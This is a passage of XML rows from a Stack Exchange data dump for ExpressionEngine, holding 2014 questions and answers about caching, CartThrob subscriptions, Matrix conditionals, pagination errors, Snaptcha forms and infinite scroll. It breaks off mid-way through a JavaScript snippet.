  <row Id="20413" PostTypeId="2" ParentId="20343" CreationDate="2014-03-18T16:43:04.637" Score="0" Body="&lt;p&gt;It appears there is a bug report for this on expressionengine.com. The team is aware of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19457&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19457&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, the support team for Structure has provided me with some beta code to test a way to get around this and it worked. The next version of Structure should be out soon and does not use incorrect environment urls, regardless of the EE bug I linked to.&lt;/p&gt;&#xA;" OwnerUserId="962" LastEditorUserId="962" LastEditDate="2014-03-21T14:48:23.780" LastActivityDate="2014-03-21T14:48:23.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20414" PostTypeId="2" ParentId="20411" CreationDate="2014-03-18T16:48:36.807" Score="6" Body="&lt;p&gt;actually I don't use NSM htaccess generator , but I can help you with this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first thing update to the last version , if you have the last version and still have this problem you can solve it as following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;about the first one:do_hash() problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replace &lt;code&gt;do_hash()&lt;/code&gt; function with PHP’s hashing functions like &lt;code&gt;sh1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;about the second one &lt;code&gt;generate_json()&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replace &lt;code&gt;$this-&amp;gt;EE-&amp;gt;javascript-&amp;gt;generate_json&lt;/code&gt; with &lt;code&gt;json_encode&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check it and let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastEditorUserId="2827" LastEditDate="2014-03-18T16:58:07.937" LastActivityDate="2014-03-18T16:58:07.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20415" PostTypeId="2" ParentId="20402" CreationDate="2014-03-18T17:08:47.917" Score="0" Body="&lt;p&gt;Be aware that the operator functionality was added as of EE v2.7.1.  If you choose to use the switch method mentioned here, you actually need to handle it a bit differently to protect your loop from instances in which the number of entries you are loading does not divide evenly by the number of columns you are loading.  The most effective way to do with is to add additional switch logic to close the row.  You can see this in detail in another EESE post with my answer here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10343/adding-wrapper-markup-at-intervals-within-loops-entries-matrix-playa-etc&quot;&gt;Adding wrapper markup at intervals within loops (entries, matrix, playa, etc)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-03-18T17:08:47.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20416" PostTypeId="2" ParentId="20367" CreationDate="2014-03-18T17:14:43.463" Score="2" Body="&lt;p&gt;Natively it would be tough. You could set their member group to have access only to a particular status, but that would take the member entry out your &quot;regular&quot; loop (since it would affect the status on an existing entry and not be doing version control, leaving the previously approved version in place).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since with visitor members are entries, &lt;a href=&quot;http://devot-ee.com/add-ons/better-workflow&quot; rel=&quot;nofollow&quot;&gt;Better Workflow&lt;/a&gt; could do this for you.  But it's a lot of functionality to throw at that one issue.  Obviously there would be other benefits.  But it depends on whether you need the member's previous profile to remain live while the edited version is in review.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/publisher&quot; rel=&quot;nofollow&quot;&gt;Publisher&lt;/a&gt;, I believe, would also allow you to do this (one of the cool things there is the change highlighting Publisher can do).&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-03-18T17:14:43.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20417" PostTypeId="2" ParentId="20324" CreationDate="2014-03-18T18:33:04.613" Score="0" Body="&lt;p&gt;There are (were) two issues at play here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bug with Relying on XID Would Break Search Form for Users who Didn't Generate Cached Version of Page&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The search form's &lt;code&gt;XID&lt;/code&gt; getting cached on non-results pages &lt;em&gt;was&lt;/em&gt; causing trouble, but appears to be resolved upgrading from Low Search 3.0.3 to 3.1.2. I'll attempt to check back in and confirm this, but early testing looks promising.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Low Search Results with CE Cache Static Driver&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When search results pages are built with a query string (&lt;code&gt;example.com/search/?keywords=foo&lt;/code&gt;, CE Cache's static driver ignores (rightfully so) query strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be worked around by using &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/settings#encode-query&quot; rel=&quot;nofollow&quot;&gt;encoded queries&lt;/a&gt; which replace the human readable query string &lt;code&gt;/?keywords=foo&lt;/code&gt; with hashed segment &lt;code&gt;eyJrZXl3b3JkcyI6ImhlbGxvIHdvcmxkIn0&lt;/code&gt;, which should play nicely with CE Cache's static driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the event that encoded queries are unacceptable, any of CE Cache's non-static methods should work just fine.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-18T18:33:04.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20419" PostTypeId="1" AcceptedAnswerId="20444" CreationDate="2014-03-18T20:01:02.130" Score="0" ViewCount="230" Body="&lt;p&gt;have this table that I want to display only if one parameter set in a matrix cell has a value of 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{canale_corrente}&quot; limit=&quot;1&quot; disable=&quot;member_data|pagination|categories&quot;}         &#xA;                                {formati_prodotti}&#xA;                                    {if enable_shop_lnk == &quot;1&quot;}&#xA;&#xA;                                    &amp;lt;div class=&quot;small-12 column&quot;&amp;gt;&#xA;                                        &amp;lt;div class=&quot;content-box&quot;&amp;gt;&#xA;                                            &amp;lt;h2&amp;gt;TITLE&amp;lt;/h2&amp;gt;&#xA;                                            &amp;lt;p class=&quot;subhead&quot;&amp;gt;SUBTITLE&amp;lt;/p&amp;gt;&#xA;                                            &amp;lt;table width=&quot;100%&quot;&amp;gt;&#xA;                                                &amp;lt;thead&amp;gt;&#xA;                                                    &amp;lt;tr&amp;gt;&#xA;                                                        &amp;lt;td&amp;gt;Formato&amp;lt;/td&amp;gt;&#xA;                                                        &amp;lt;td&amp;gt;Shop&amp;lt;/td&amp;gt;&#xA;                                                    &amp;lt;/tr&amp;gt;&#xA;                                                &amp;lt;/thead&amp;gt;&#xA;                                                &amp;lt;tbody&amp;gt;&#xA;                                                    &amp;lt;tr&amp;gt;&#xA;                                                        &amp;lt;td&amp;gt;{codice_formato} - {nome_formato}&amp;lt;/td&amp;gt;&#xA;                                                        &amp;lt;td&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;tiny button radius&quot;&amp;gt;BUY&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                                                    &amp;lt;/tr&amp;gt;&#xA;                                                &amp;lt;/tbody&amp;gt;&#xA;                                            &amp;lt;/table&amp;gt;&#xA;                                        &amp;lt;/div&amp;gt;&#xA;                                    &amp;lt;/div&amp;gt;&#xA;                                    {/if}&#xA;                                {/formati_prodotti}&#xA;                            {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CAPTION:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{formati_prodotti} is a matrix field&lt;/p&gt;&#xA;&#xA;&lt;p&gt;enable_shop_lnk is a child field inside {formati_prodotti} that can be 0 or 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the problem is that I can't find a way to hide the entire table when there's no records with enable_shop_lnk == 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also because the enable_shop_link is inside a matrix field I can check it only by wrapping it with the matrix field {formati_prodotti} and if there's more than one entry meeting the criteria I get more than one table!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea!&lt;/p&gt;&#xA;" OwnerUserId="1130" LastEditorUserId="1130" LastEditDate="2014-03-19T07:50:55.787" LastActivityDate="2014-03-19T11:20:59.720" Title="display only if a matrix cell has a certain value" Tags="|matrix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20420" PostTypeId="2" ParentId="20419" CreationDate="2014-03-18T20:04:38.947" Score="0" Body="&lt;p&gt;try &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{enable_shop_lnk}&quot; == &quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastActivityDate="2014-03-18T20:04:38.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20421" PostTypeId="1" AcceptedAnswerId="20423" CreationDate="2014-03-18T20:04:59.693" Score="0" ViewCount="68" Body="&lt;p&gt;We're caching search results pages with CE Cache. I'm wondering if there's a way to bust the cache on these pages whenever any entry is updated? We have dozens of channels; I'd rather not specify all of the relevant tags in the control panel and/or template to use the normal cache busting process (e.g. add &quot;search&quot; as a tag to all of the channels when configuring them, or adding all of the different tags to the search results template).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to quickly grab the date of the most recently updated entry and use that as part of the &lt;code&gt;id&lt;/code&gt; parameter in the opening &lt;code&gt;exp:ce_cache:it&lt;/code&gt; tag, or something? Perhaps some other trick I'm not thinking of?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; Perhaps the ability to specify &lt;code&gt;*&lt;/code&gt; as a value for the &lt;code&gt;tags&lt;/code&gt; parameter would be a cool feature request?&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2014-03-18T20:14:41.627" LastActivityDate="2014-03-18T20:24:45.920" Title="Break CE Cache for a Search Results Template when Any Entry Updated?" Tags="|ce-cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20422" PostTypeId="2" ParentId="18011" CreationDate="2014-03-18T20:09:58.907" Score="0" Body="&lt;p&gt;The underlying issue here was caused by &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20031&quot; rel=&quot;nofollow&quot;&gt;an ExpressionEngine bug that was corrected in version 2.8.0&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-18T20:09:58.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20423" PostTypeId="2" ParentId="20421" CreationDate="2014-03-18T20:24:45.920" Score="1" Body="&lt;p&gt;You should be able to simply tag the Cache It tag in your search section with &lt;code&gt;search&lt;/code&gt;, and then break on the &lt;code&gt;search&lt;/code&gt; tag in the cache breaking settings for &quot;Any Channel&quot;. That way, any time an entry changes (from any channel), your search results will be cleared.&lt;/p&gt;&#xA;" OwnerUserId="936" LastActivityDate="2014-03-18T20:24:45.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20424" PostTypeId="2" ParentId="20384" CreationDate="2014-03-18T20:41:47.630" Score="2" Body="&lt;p&gt;I got this issue after upgrading to 2.8.1 from 2.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had Stash installed, but only got this error one one template that didn't use Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got this error on a page that had Switchee. Then inside the default Case of Switchee, I had Croxton's IfElse running around an advanced conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I removed the IfElse tags around the advanced conditional and the error message went away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Mark Croxton updated the IFELSE plugin to address this. There is a new safe=&quot;no&quot; parameter in version 2.0.1. Updating and using this parameter works for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Ifelse/tree/feature/unsafe_conditionals&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Ifelse/tree/feature/unsafe_conditionals&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="827" LastEditorUserId="827" LastEditDate="2014-03-27T17:01:07.593" LastActivityDate="2014-03-27T17:01:07.593" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20425" PostTypeId="2" ParentId="20358" CreationDate="2014-03-18T20:48:03.553" Score="1" Body="&lt;p&gt;I would highly suggest staying away from CartThrob in general, and Subscriptions in particular.  I had to fix a half dozen bugs in their Subscriptions code myself before my client's site was half functional, and there are still issues with the product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic things like subscriptions rebilling, ending on expiration dates, etc. were all broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MightyRobot has actually pulled Subscriptions (and everything else except for CartThrob and CartThrob Manager) from sale, due to bugs and their inability to support the products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, that leaves a vacuum in the subscription market for EE... but perhaps a custom solution along with something like Charge isn't a bad idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/charge&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/charge&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2860" LastActivityDate="2014-03-18T20:48:03.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20426" PostTypeId="2" ParentId="20314" CreationDate="2014-03-18T21:08:06.927" Score="1" Body="&lt;p&gt;Spambots are definitely targeting the default member/register path for EE.  I have a client's site that uses third party member registration add-on for EE, but despite hardening that, we were still seeing lots of spambots signing up on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out they were going right to the default member/register path and registering that way.  You can either change the location as above, or do what I did, which is just set up an Apache redirect that goes from member/register to the actual registration form/page.&lt;/p&gt;&#xA;" OwnerUserId="2860" LastActivityDate="2014-03-18T21:08:06.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20427" PostTypeId="1" CreationDate="2014-03-18T21:11:28.200" Score="1" ViewCount="305" Body="&lt;p&gt;Here's an error I am receiving on search results after updating to EE 2.8.1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method Pagination_object::get_template()&#xA;in /Users/username/Documents/Projects/myproject/system/expressionengine/third_party/super_search/mod.super_search.php &#xA;on line 1161&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I realize Solspace hasn't confirmed compatibility yet, but if anyone has any workarounds for now that would be great!&lt;/p&gt;&#xA;" OwnerUserId="1382" LastEditorUserId="55" LastEditDate="2014-03-31T22:01:53.990" LastActivityDate="2014-05-03T18:28:46.457" Title="Pagination no longer works in Super Search after EE 2.8 upgrade" Tags="|solspace|supersearch|2.8|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20428" PostTypeId="2" ParentId="20295" CreationDate="2014-03-18T21:13:03.757" Score="2" Body="&lt;p&gt;The fact that you're unable to get through to their company for a sales question should be a red flag, imo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as far as I know, there are no renewal costs involved with CartThrob.&lt;/p&gt;&#xA;" OwnerUserId="2860" LastActivityDate="2014-03-18T21:13:03.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20429" PostTypeId="2" ParentId="20215" CreationDate="2014-03-18T21:15:05.107" Score="0" Body="&lt;p&gt;You'll need to create the coupons yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also make a single coupon that can be used only 50 times, if that's a viable option.&lt;/p&gt;&#xA;" OwnerUserId="2860" LastActivityDate="2014-03-18T21:15:05.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20430" PostTypeId="2" ParentId="19830" CreationDate="2014-03-18T21:19:42.640" Score="1" Body="&lt;p&gt;There are two ways you can do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create a Discounts channel, and assign it in CartThrob&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Create a Coupon Codes channel, and assign it in CartThrob&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do the former, the discounts are automatically applied to each order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do the latter, the user will have to enter a coupon code on the checkout form in order for the discount to happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also need to put the HTML in place for the Coupon code to appear on the checkout form something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                                &amp;lt;fieldset name=&quot;Coupon Code&quot; class=&quot;control-group&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;field-labels&quot;&amp;gt;&#xA;                                    &amp;lt;label for=&quot;coupon_code&quot; class=&quot;clp&quot;&amp;gt;Coupon Code&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                                    &amp;lt;input id=&quot;coupon_code&quot; class=&quot;field-bg clp&quot; type=&quot;text&quot; name=&quot;coupon_code&quot; maxlength=&quot;31&quot; /&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2860" LastActivityDate="2014-03-18T21:19:42.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20431" PostTypeId="2" ParentId="19219" CreationDate="2014-03-18T21:26:53.570" Score="1" Body="&lt;p&gt;The above advice &lt;em&gt;does not&lt;/em&gt; work if you have Trial occurrences set to 0 (which the Subscriptions documentation tells you to do for a subscription that infinitely rebills until canceled).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a bug in the code that causes it to never rebill in this case.  Just a word of warning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bug report with fix I sent to CT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a subscription with a &quot;Total Occurrences&quot; set to 0 (for infinite re-bills, as per the CartThrob documentation), setting the &quot;End Date&quot; on the subscription will NOT cause it to expire, and indeed no pending subscriptions are ever returned for any kind of processing, because of the MySQL query in pending_subscription_filter() in subscription_model.php: -&gt;where('total_occurrences &gt; used_total_occurrences')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caveat Emptor, though.  They've apparently given up on Subscriptions for now, and aren't selling or supporting it at all.&lt;/p&gt;&#xA;" OwnerUserId="2860" LastActivityDate="2014-03-18T21:26:53.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20433" PostTypeId="2" ParentId="20427" CreationDate="2014-03-18T21:40:14.687" Score="1" Body="&lt;p&gt;replace :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;pagination-&amp;gt;get_template();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata = $this-&amp;gt;EE-&amp;gt;pagination-&amp;gt;prepare($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updates:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't use Super search before, I just tell you what you must change. &#xA;if you use &lt;code&gt;$channel-&amp;gt;pagination-&amp;gt;get_template()&lt;/code&gt; then change it to &lt;code&gt;$channel-&amp;gt;pagination-&amp;gt;prepare&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if just use the same prefix for &lt;code&gt;-&amp;gt;TMPL-&amp;gt;tagdata&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regard's.&lt;/p&gt;&#xA;" OwnerUserId="2827" LastEditorUserId="2827" LastEditDate="2014-03-19T12:24:24.390" LastActivityDate="2014-03-19T12:24:24.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20435" PostTypeId="2" ParentId="20361" CreationDate="2014-03-18T22:07:55.693" Score="2" Body="&lt;p&gt;Let me be 100% clear that I am not even close to an expert on this, but I've recently started using the development workflow described on Krasimir Tsonev's blog in order to enable a local development process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://krasimirtsonev.com/blog/article/Deploying-ExpressionEngine-based-site&quot; rel=&quot;nofollow&quot;&gt;http://krasimirtsonev.com/blog/article/Deploying-ExpressionEngine-based-site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in addition to what is already suggested in terms of saving templates as files and using Master Config to set local database settings, Tsonev adds some code to a few system files so that all of your database changes are logged to a separate .sql file, which you can commit with your template changes. You then just need to run the .sql commands on the staging/production server to recreate all the database changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably worth a look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Just ran into this plugin last night which appears to do the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/fccotech/ee-db-trace&quot; rel=&quot;nofollow&quot;&gt;https://github.com/fccotech/ee-db-trace&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2339" LastEditorUserId="2339" LastEditDate="2014-03-19T19:39:57.087" LastActivityDate="2014-03-19T19:39:57.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20436" PostTypeId="2" ParentId="20387" CreationDate="2014-03-18T22:37:54.090" Score="1" Body="&lt;p&gt;The URL Helper add-on is also worth mentioning, and will give you access to the query string within your templates.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-18T22:37:54.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20437" PostTypeId="1" CreationDate="2014-03-18T23:09:04.233" Score="0" ViewCount="330" Body="&lt;p&gt;Just noticed the Thumbnails of previously published posts in the Assets modal window are not showing up anymore and I can't upload images either in new Post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They worked fine before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Assets 2.2.2 And EE 2.7.2 Cache folder is writable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for the help.&lt;/p&gt;&#xA;" OwnerUserId="327" LastActivityDate="2014-03-19T19:53:42.827" Title="Assets, thumbnails not showing up and can't post new images" Tags="|assets|pixelandtonic|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20438" PostTypeId="2" ParentId="15256" CreationDate="2014-03-18T23:16:05.887" Score="3" Body="&lt;p&gt;Try this parameter to see if it has any effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;status=&quot;*&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be preventing entries with a status of &quot;pending&quot; which is the default from being shown.&lt;/p&gt;&#xA;" OwnerUserId="2861" LastActivityDate="2014-03-18T23:16:05.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20439" PostTypeId="1" AcceptedAnswerId="20525" CreationDate="2014-03-19T03:29:51.450" Score="0" ViewCount="74" Body="&lt;p&gt;I'm using snaptcha for Solspace User registration forms. Background info here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18442/user-registration-failing-snaptcha-security-test-every-time&quot;&gt;User registration failing Snaptcha security test every time&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two registration forms on the page - one for each of two possible member groups you can sign up for. The form you choose will be displayed inside a modal box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's only one form, it works just fine. User who should pass the security test do. But when I add a second user registration form for the second member group, neither form will submit. They always fail the security test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When inspecting the code, I see that both User registration forms have the same snaptcha field (same ID and value), and I imagine it's the lack of a unique code for each form that is causing the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use Snaptcha successfully when I have multiple User registration forms on the same page?&lt;/p&gt;&#xA;" OwnerUserId="982" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-03-20T20:19:07.240" Title="Snaptcha failing if multiple User registration forms on same page" Tags="|captcha|snaptcha|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20440" PostTypeId="2" ParentId="20361" CreationDate="2014-03-19T07:08:20.807" Score="2" Body="&lt;p&gt;That which is not portable in the database can be set in the config.php&#xA;see &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/operations/moving.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/operations/moving.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can write a script to set these dynamically based on the current server, that way you can use the same config online or offline. (also the database connection settings will need to match if they vary between the servers)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way once your setup you can copy the database between servers without worrying about directory and db config mismatches etc.&lt;/p&gt;&#xA;" OwnerUserId="1801" LastActivityDate="2014-03-19T07:08:20.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20442" PostTypeId="1" AcceptedAnswerId="20540" CreationDate="2014-03-19T10:45:51.900" Score="1" ViewCount="247" Body="&lt;p&gt;I need to show a text area custom field inside the checkout&gt;details just if the order contains a product with a certain category ID. How to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the scenario:&#xA;for example, in my store i sell prints and illustrations.&#xA;(prints are shipped by post and illustrations are downlodable only)&#xA;if the details page (next step after checkout) contains an illustration (category_id XX) I want to show a text area where customer write down all specs, instructions and comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for other products, prints and other common items i don't want to show this custom field inside the checkout page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advice me! thank you ;)&lt;/p&gt;&#xA;" OwnerUserId="2590" LastEditorUserId="2590" LastEditDate="2014-03-19T13:27:21.667" LastActivityDate="2014-03-21T10:40:48.290" Title="Expresso Store checkout: How to display custom field if checkout contains a particular category of product" Tags="|expresso-store|checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20443" PostTypeId="1" AcceptedAnswerId="20445" CreationDate="2014-03-19T11:03:04.590" Score="5" ViewCount="1258" Body="&lt;p&gt;Good day all&#xA;I have had this issue for a while now and can't find really good updated techniques to create the infinite scroll and pagination function where clicking 'load more' loads entries beneath until there are no more entries. I need some simple code that would make this work, currently my code basically just gives me entries on a new page but i want it to load on the same page beneath each other. Has anyone succesfully achieved this hassle free?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who ever has the correct answer I will tell the world of your tale and everyone else will call you king/queen of EE Pagi-Nation! &#xA;Here is my terrible coding below!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I have tried justin long's method and it did not work for me, I mailed him too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col&quot; id=&quot;blog-container&quot;&amp;gt;&#xA;        {exp:channel:entries&#xA;            channel=&quot;blog&quot;&#xA;            dynamic=&quot;no&quot;&#xA;            orderby=&quot;date&quot;&#xA;            limit=&quot;2&quot;&#xA;            status=&quot;open|tall|regular&quot;&#xA;            paginate_base=&quot;embed/ajax_scroll&quot;               &#xA;        }&#xA;&#xA;        {if no_results}&#xA;            &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;                &amp;lt;article style=&quot;min-height: 600px;&quot;&amp;gt;&#xA;                    &amp;lt;header&amp;gt;&#xA;                        &amp;lt;h1&amp;gt;No Results&amp;lt;/h1&amp;gt;&#xA;                    &amp;lt;/header&amp;gt;&#xA;                    Check back soon for more blog posts. &#xA;                &amp;lt;/article&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- /.entry --&amp;gt;&#xA;        {/if}&#xA;        &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;            &amp;lt;article&amp;gt;&#xA;                &amp;lt;header&amp;gt;&#xA;                    {title}&#xA;                &amp;lt;/header&amp;gt;&#xA;               {blog_summary}&#xA;            &amp;lt;/article&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- /.entry --&amp;gt;&#xA;&#xA;        {paginate}&#xA;        &amp;lt;p class=&quot;morePosts&quot;&amp;gt;&#xA;            {if next_page}&amp;lt;a href=&quot;{auto_path}&quot; class=&quot;more&quot; id=&quot;next&quot;&amp;gt;See More Posts&amp;lt;/a&amp;gt;{/if}&#xA;        &amp;lt;/p&amp;gt;&#xA;        {/paginate}&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- /.col --&amp;gt;&#xA;&#xA;      &amp;lt;script type=&quot;text/javascript&quot; src=&quot;/httpdocs/static/js/jquery.infinitescroll.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        $(document).ready(function(){&#xA;            $('#blog-container').infinitescroll({&#xA;                  navSelector : &quot;p.morePosts&quot;,&#xA;                  